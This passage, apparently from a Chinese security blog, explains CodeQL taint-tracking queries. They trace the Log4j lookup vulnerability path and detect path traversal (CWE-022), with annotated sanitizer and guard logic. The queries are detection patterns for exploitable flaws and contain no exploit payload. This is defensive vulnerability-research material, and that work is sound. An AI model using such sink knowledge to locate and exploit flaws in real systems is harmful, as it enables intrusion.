        ma.getMethod().getDeclaringType() instanceof Context
        and
        arg = ma.getArgument(0)
    )
}

class TainttrackLookup  extends TaintTracking::Configuration {
    TainttrackLookup() { 
        this = "TainttrackLookup" 
    }

    override predicate isSource(DataFlow::Node source) {
        exists(LoggerInput loggermethod |
            source.asParameter() = loggermethod.getAnUntrustedParameter())
    }
    override predicate isSink(DataFlow::Node sink) {
        exists(Expr arg |
            isLookup(arg)
            and
            sink.asExpr() = arg
        )
    }
    override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
        exists(MethodAccess ma,MethodAccess ma2 |
            //set fromNode
            ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") 
            and ma.getMethod().hasName("createEvent") 
            and fromNode.asExpr()=ma.getArgument(5) 
            //set toNode
            and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")  
            and ma2.getMethod().hasName("log") 
            and ma2.getArgument(0).toString()="logEvent"
            and toNode.asExpr()=ma2.getArgument(0)
        )
    }
} 
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
    config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"

image-20220623160056489

前面的调用链几乎分析地差不多了,但仍存在一个错误:

原调用链的log方法会走到到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log下,而此处codeql却分析到了org\apache\logging\log4j\core\config\AwaitUnconditionallyReliabilityStrategy.java(windows路径反斜杠是世界上最反人类的设计)。这两个类都继承自ReliabilityStrategy LocationAwareReliabilityStrategy

除去此错误,大部分调用链和原漏洞调试结果一样

reference(where my code copy from):

https://github.com/ASTTeam/CodeQL 国内比较全的codeql相关资源总结

嫖来的规则实例

isSource

以某个方法的参数作为source

添加了几种过滤方式,第一个参数、该方法当前类的全限定名为xxxx

override predicate isSource(DataFlow::Node source) {
    exists(Parameter p |
        p.getCallable().hasName("readValue") and
        source.asParameter() = p and
        source.asParameter().getPosition() = 0
        and p.getCallable().getDeclaringType().hasQualifiedName("com.service.impl", "xxxxx")
    )
}

以某个实例的所有参数作为source

(X1 x1 = new X1(a,b),这里a、b作为source),过滤:调用该实例的方法名称为Caller,实例类型名称为X1

override predicate isSource(DataFlow::Node source) {
    exists(ClassInstanceExpr ma |
        source.asExpr() = ma.getAnArgument()
        and ma.getTypeName().toString() = "X1"
        and ma.getCaller().hasName("Caller")
    )
}

path-injection

CEW-022

用于检测文件相关,可以是文件上传、文件读取。主要判断逻辑是对与传入文件操作时文件名是否可控

java\ql\src\Security\CWE\CWE-022\TaintedPath.ql:

/**
 * @name Uncontrolled data used in path expression
 * @description Accessing paths influenced by users can allow an attacker to access unexpected resources.
 * @kind path-problem
 * @problem.severity error
 * @security-severity 7.5
 * @precision high
 * @id java/path-injection
 * @tags security
 *       external/cwe/cwe-022
 *       external/cwe/cwe-023
 *       external/cwe/cwe-036
 *       external/cwe/cwe-073
 */

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.PathCreation
import DataFlow::PathGraph
import TaintedPathCommon

class ContainsDotDotSanitizer extends DataFlow::BarrierGuard {
  ContainsDotDotSanitizer() {
    this.(MethodAccess).getMethod().hasName("contains") and
    this.(MethodAccess).getAnArgument().(StringLiteral).getValue() = ".."
  }

  override predicate checks(Expr e, boolean branch) {
    e = this.(MethodAccess).getQualifier() and branch = false
  }
}

class TaintedPathConfig extends TaintTracking::Configuration {
  TaintedPathConfig() { this = "TaintedPathConfig" }

  override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }

  override predicate isSink(DataFlow::Node sink) {
    exists(Expr e | e = sink.asExpr() | e = any(PathCreation p).getAnInput() and not guarded(e))
  }//

  override predicate isSanitizer(DataFlow::Node node) {
    exists(Type t | t = node.getType() | t instanceof BoxedType or t instanceof PrimitiveType)
  }

  override predicate isSanitizerGuard(DataFlow::BarrierGuard guard) {
    guard instanceof ContainsDotDotSanitizer
  }
}

from DataFlow::PathNode source, DataFlow::PathNode sink, PathCreation p, TaintedPathConfig conf
where
  sink.getNode().asExpr() = p.getAnInput() and
  conf.hasFlowPath(source, sink)
select p, source, sink, "$@ flows to here and is used in a path.", source.getNode(),
  "User-provided value"

将关注点放在class TaintedPathConfig上:

isSource

这里对isSource进行了重写,指向RemoteFlowSource,其中定义了用户输入可控的常见源。

isSink

语句:exists(Expr e | e = sink.asExpr() | e = any(PathCreation p).getAnInput() and not guarded(e))

这里实例化了PathCreation 类,使用了谓词guarded,我们逐一进行分析:

PathCreation

定义在java\ql\lib\semmle\code\java\security\PathCreation.qll


abstract class PathCreation extends Expr {
    abstract Expr getInput();
  }
  
  class PathsGet extends PathCreation, MethodAccess {
    // 寻找`java.nio.file.Paths`类下的get方法
    PathsGet() {
      exists(Method m | m = this.getMethod() |
        m.getDeclaringType() instanceof TypePaths and
        m.getName() = "get"
      )
    }
    // 返回这个方法的集合
    override Expr getInput() { result = this.getAnArgument() }
  }
  
  class FileSystemGetPath extends PathCreation, MethodAccess {
    // 寻找`java.nio.file.FileSystem`类下的getPath方法并通过getInput方法返回这个集合
    FileSystemGetPath() {
      exists(Method m | m = this.getMethod() |
        m.getDeclaringType() instanceof TypeFileSystem and
        m.getName() = "getPath"
      )
    }
  
    override Expr getInput() { result = this.getAnArgument() }
  }
  
  class FileCreation extends PathCreation, ClassInstanceExpr {
    //   限定实例化的对象的原型在`java.io.File`类下
    // 例如new xxx()  这个xxx必须在`java.io.File`下
    FileCreation() { this.getConstructedType() instanceof TypeFile }
  
    override Expr getInput() {
        // 获得上述实例化的class的参数,并且这个参数的类型必须是file类型的,并返回满足and条件的参数集合
      result = this.getAnArgument() and
      // Relevant arguments include those that are not a `File`.
      not result.getType() instanceof TypeFile
    }
  }
  
  class FileWriterCreation extends PathCreation, ClassInstanceExpr {
    //   限定在`java.io.FileWriter`类下
    FileWriterCreation() { this.getConstructedType().getQualifiedName() = "java.io.FileWriter" }
    // 返回参数类型是String类型的参数
    override Expr getInput() {
      result = this.getAnArgument() and
      // Relevant arguments are those of type `String`.
      result.getType() instanceof TypeString
    }
  }
  
  predicate inWeakCheck(Expr e) {
    // None of these are sufficient to guarantee that a string is safe.
    // 约束一个类下的方法如果是startswith等方法,注意这里的方法是原生的,这里建议扩大覆盖范围,使用matches去匹配类似的方法名
    exists(MethodAccess m, Method def | m.getQualifier() = e and m.getMethod() = def |
      def.getName() = "startsWith" or
      def.getName() = "endsWith" or
      def.getName() = "isEmpty" or
      def.getName() = "equals"
    )
    or
    // Checking against `null` has no bearing on path traversal.
    exists(EqualityTest b | b.getAnOperand() = e | b.getAnOperand() instanceof NullLiteral)
  }
  
  // Ignore cases where the variable has been checked somehow,
  // but allow some particularly obviously bad cases.
  predicate guarded(VarAccess e) {
    //   一个参数必须存在于上面抽象类返回结果的集合中且条件分支为True的情况下的方法,还要不是StartsWith等方法
    exists(PathCreation p | e = p.getInput()) and
    exists(ConditionBlock cb, Expr c |
      cb.getCondition().getAChildExpr*() = c and
      c = e.getVariable().getAnAccess() and
      cb.controls(e.getBasicBlock(), true) and
      // Disallow a few obviously bad checks.
      not inWeakCheck(c)
    )
  }

获取用于创建路径的输入,定义了常见用法。使用方式通过调用getAnInput()谓词获取方法内的所有参数,也就是将sink定义为传入的文件名。

guarded

定义在java\ql\src\Security\CWE\CWE-022\TaintedPathCommon.qll

predicate guarded(VarAccess e) {
  exists(PathCreation p | e = p.getAnInput())//强调变量调用为文件名 and
  exists(ConditionBlock cb, Expr c |
    cb.getCondition().getAChildExpr*() = c //将代码块的子表达式与c表达式进行匹配 and
    c = e.getVariable().getAnAccess() //文件名的所有调用和表达式c匹配 and
    cb.controls(e.getBasicBlock(), true) //如果传入的e.getBasicBlock()是由该条件控制的基本块,即条件为true的基本块,则保持成立。 
    and
    not inWeakCheck(c)
  )

其中cbConditionBlock实例化而来。

  • cb:获取的是整个块,方法开始{}整个内容
  • cb.getCondition():表示获取此基本块最后一个节点条件
  • cb.getCondition().getAChildExpr():表示获取子表达式

isSanitizer

如果数据类型是基本类型或者是其包装类则清洗掉

override predicate isSanitizer(DataFlow::Node node) {
    exists(Type t | t = node.getType() | t instanceof BoxedType or t instanceof PrimitiveType)
}

isSanitizerGuard

这里也是起到清洗作用,当调用方法为contains并且其参数值为..,对表达式e的判断为false则条件成立。

class ContainsDotDotSanitizer extends DataFlow::BarrierGuard {
    ContainsDotDotSanitizer() {
        this.(MethodAccess).getMethod().hasName("contains") and
        this.(MethodAccess).getAnArgument().(StringLiteral).getValue() = ".."
}

    override predicate checks(Expr e, boolean branch) {
        e = this.(MethodAccess).getQualifier() and branch = false
    }
}

override predicate isSanitizerGuard(DataFlow::BarrierGuard guard) {
    guard instanceof ContainsDotDotSanitizer
}

image-20220704155648557


文章作者: Wh1teR0be
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wh1teR0be !
  目录